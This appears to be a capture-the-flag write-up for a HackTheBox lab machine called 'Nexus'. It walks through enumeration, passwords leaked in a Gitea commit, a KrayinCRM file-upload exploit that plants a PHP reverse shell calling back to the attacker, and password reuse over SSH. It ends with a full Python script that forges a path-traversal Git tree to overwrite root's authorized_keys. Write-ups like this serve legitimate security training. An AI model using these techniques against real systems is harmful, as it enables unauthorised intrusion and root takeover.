Nexus is a HackTheBox easy machine that points out why committing credentials to the version control system is not secure and how it leads to a credential leak. This machine exploits a credential leak through Gitea, an authenticated file upload to get an initial foothold, credential reuse and low-level Git object manipulation to escalate privileges.
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine.
I used nmap -sC -sV -O nexus.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-14 07:01 -0400 Nmap scan report for nexus.htb (10.129.234.54) Host is up (0.54s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Nexus Energy Authority \xE2\x80\x94 Powering the Nation's Future |_http-server-header: nginx/1.24.0 (Ubuntu) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.95 seconds
Based on the scan, only port 22(SSH) and port 80(HTTP) are open.
The website code does not contain any version numbers or any other information. But I found an email j.matthew@nexus.htb in the careers section of the website.
1.1 Website Enumeration
Since the website did not reveal any other information, I decided to scan the website for any hidden files or directories using dirsearch and GoBuster. But I was unable to find any files or directories.
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Projects/htb/nexus/reports/_nexus.htb/_26-08-14_07-24-36.txt
Target: http://nexus.htb/
[07:24:36] Starting:
Task Completed=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://nexus.htb [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: html,php,md,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.html (Status: 200) [Size: 49296]
1.2 Virtual Host Enumeration
Since I did not find any hidden folders or files, I decided to pivot my search to virtual hosts. I used GoBuster to fuzz for any subdomains. And I found two subdomains.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://nexus.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== git.nexus.htb Status: 200 [Size: 14472] billing.nexus.htb Status: 302 [Size: 390] [--> http://billing.nexus.htb/admin/login]
After adding both subdomains to the hosts file, 10.129.234.54 nexus.htb git.nexus.htb billing.nexus.htb I visited both subdomains.
- billing.nexus.htb is running KrainCRM in Debug mode.
- git.nexus.htb is running a Gitea virsion control application.
2. Initial Access - Leaked Credentials & KrayinCRM RCE
2.1 Inspecting Gitea (git.nexus.htb)
git.nexus.htb contains a self-hosted Gitea application that exposes a public repository admin/krayin-docker-setup. Inspecting the users section revealed two user accounts. Inspecting the repository's commits revealed some committed credentials by the admin user.
DB_DATABASE=krayin DB_USERNAME=krayin DB_PASSWORD=N27xh!!2ucY04
2.2 KrayinCRM Password Reuse & Version Detection
Since the commit mentioned billing.nexus.htb, I decided to try this password against the login form. The login form is requesting an email, and I decided to try the email j.matthew@nexus.htb that I found on the main website. (j in the email can be jones)
I was able to successfully log in to the application. While looking around, I found that the CRM version is displayed in the top-right corner when there is no profile image for the user.
CRM version is 2.2.0, which has a known vulnerability in ExploitDB.
2.3 Exploitation & Reverse Shell Execution
When inspecting the exploit code, I realised that it needs a PHP reverse shell script to be uploaded by running the exploit. So I downloaded a PHP reverse shell script using PentestMonkey GitHub Repository and changed the IP and port to prepare it for upload.
[+] File uploaded successfully. Path to file: http://billing.nexus.htb/storage/tinymce/64b33839a7e8023a6d52753b14681652.php
Now, after setting up a listener and visiting http://billing.nexus.htb/storage/tinymce/64b33839a7e8023a6d52753b14681652.php from the browser, we can run the reverse shell script and get shell access as www-data.
listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.234.54] 35840 Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux 12:28:59 up 1:28, 0 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
3. Lateral Movement - Post-Exploitation & SSH Access
With the foothold as www-data, I decided to enumerate the local machine.
By inspecting the /home directory, I discovered two local users on the machine: git and jones.
Inspection of /var/www directory showed two sub-directories: html and krayin.
By inspecting the krayin, I discovered mysql credentials in a .env file.
LOG_CHANNEL=stack LOG_LEVEL=debug DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=krayin DB_USERNAME=krayin DB_PASSWORD=y27xb3ha!!74GbR
Since these are MySQL credentials, I decided to log in to the database and enumerate. I found one user, james, in the database, but I was unable to crack the bcrypt password hash.
So, as the next attempt, I tried to use both passwords N27xh!!2ucY04 and y27xb3ha!!74GbR for the user jones and tried to log in using SSH.
The authenticity of host 'nexus.htb (10.129.234.54)' can't be established. ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0 This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'nexus.htb' (ED25519) to the list of known hosts. jones@nexus.htb's password: Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64) The list of available updates is more than a week old. To check for new updates run: sudo apt update jones@nexus:~$ ls user.txt
It worked, and I was able to log in as jones and get the user flag.
4. Privilege Escalation - Exploiting Gitea Object Injection
With escalating privileges as jones, the final step is to escalate privileges to root and get the root flag.
4.1 The Systemd Root Timer
When inspecting the system timers using systemctl list-timers --all, I noticed there is a background service named gitea-template-sync.timer running frequently.
By checking the service configuration, I noticed that the service is running as root and the script is located in /etc/gitea/template-sync.py.
# /etc/systemd/system/gitea-template-sync.service [Unit] Description=Sync Gitea templates After=network-online.target [Service] Type=oneshot User=root ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py TimeoutStartSec=50s
The template-sync.py script is pulling Gitea repositories using git ls-tree and joining the staging path with discovered file names using os.path.join().
The core issue is in the target = os.path.join(stage_path, filepath) code line. If the filepath variable contains directory traversal characters like ../ or an absolute path, os.path.join() discards the stage_path and revolves the path directly from the system root.
So, if we can create a file inside our Gitea repository with the literal file name ../../../../../../../../root/.ssh/authorized_keys, the Python script will walk all the way back to the root file system and write our public SSH key directly into the root user's authorized keys file.
4.2 Exploiting Gitea Object Injection
I created an SSH key pair with no password using ssh-keygen -t rsa -f mykey -N "". The pubic key of this key pair will be committed to the poisoned repository to get root access.
First, I need to create a local git repository and initialize it with git init.
mkdir privesc_repo cd privesc_repo git init
After creating the repository, we have to manually inject the created public key into Git's internal database using Git Plumbing commands. This returns a SHA-1 hash of the blob. (-w to write into the database)
28ff30a2daa84aed3a065f5a260714098108f029
I used the following Python script to create the malicious Git tree.
import os
import hashlib
import zlib
import binascii
# 1. Structural Configuration
target_hex_sha = "28ff30a2daa84aed3a065f5a260714098108f029"
binary_blob_sha = binascii.unhexlify(target_hex_sha)
# Path definition featuring standard traversal sequence
filename = b"../../../../../../../../root/.ssh/authorized_keys"
mode = b"100644"
# 2. Construct Malformed Entry: [mode][space][filename][null][20-byte SHA-1]
entry_payload = mode + b" " + filename + b"\x00" + binary_blob_sha
payload_size = len(entry_payload)
# 3. Assemble Header Format: tree [size]\x00[payload]
raw_tree_object = f"tree {payload_size}".encode() + b"\x00" + entry_payload
# 4. Generate Object Hash Definition
sha1_handler = hashlib.sha1()
sha1_handler.update(raw_tree_object)
calculated_hash = sha1_handler.hexdigest()
print(f"Target object hash mapping: {calculated_hash}")
# 5. Compress Payload Using Standard zlib Deflate
compressed_data = zlib.compress(raw_tree_object)
# 6. Map Direct Object Directory and Commit to Disk
object_dir = os.path.join(".git", "objects", calculated_hash[:2])
object_path = os.path.join(object_dir, calculated_hash[2:])
try:
os.makedirs(object_dir, exist_ok=True)
with open(object_path, "wb") as f:
f.write(compressed_data)
print(f"Object successfully injected directly into: {object_path}")
except Exception as e:
print(f"Write operation failed: {e}")Running the script outputs the SHA-1 hash for the Git tree. Then I used this hash to commit this tree to the main branch.
I logged into Gitea as jones and created a new template repository named privesc. After creating the repository in Gitea, I pushed the changes.
jones@nexus:~/privesc_repo$ git remote add origin http://localhost:3000/jones/privesc.git jones@nexus:~/privesc_repo$ git push -u origin main Username for 'http://localhost:3000': jones Password for 'http://jones@localhost:3000': warning: unable to access '../../../../../../../../root/.gitattributes': Permission denied warning: unable to access '../../../../../../../../root/.ssh/.gitattributes': Permission denied Enumerating objects: 3, done. Counting objects: 100% (3/3), done. Delta compression using up to 2 threads Compressing objects: 100% (3/3), done. Writing objects: 100% (3/3), 704 bytes | 704.00 KiB/s, done. Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 remote: . Processing 1 references remote: Processed 1 references in total To http://localhost:3000/jones/privesc.git * [new branch] main -> main branch 'main' set up to track 'origin/main'.
Once the changes are pushed, I waited 60 seconds for the gitea-template-sync.timer service to run and add my new public key to root's authorized_keys and SSH as root.
The authenticity of host 'localhost (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'localhost' (ED25519) to the list of known hosts. Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64) Expanded Security Maintenance for Applications is not enabled. 1 update can be applied immediately. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings root@nexus:~# whoami root
Congrats! We found both flags! HTB Machine Completion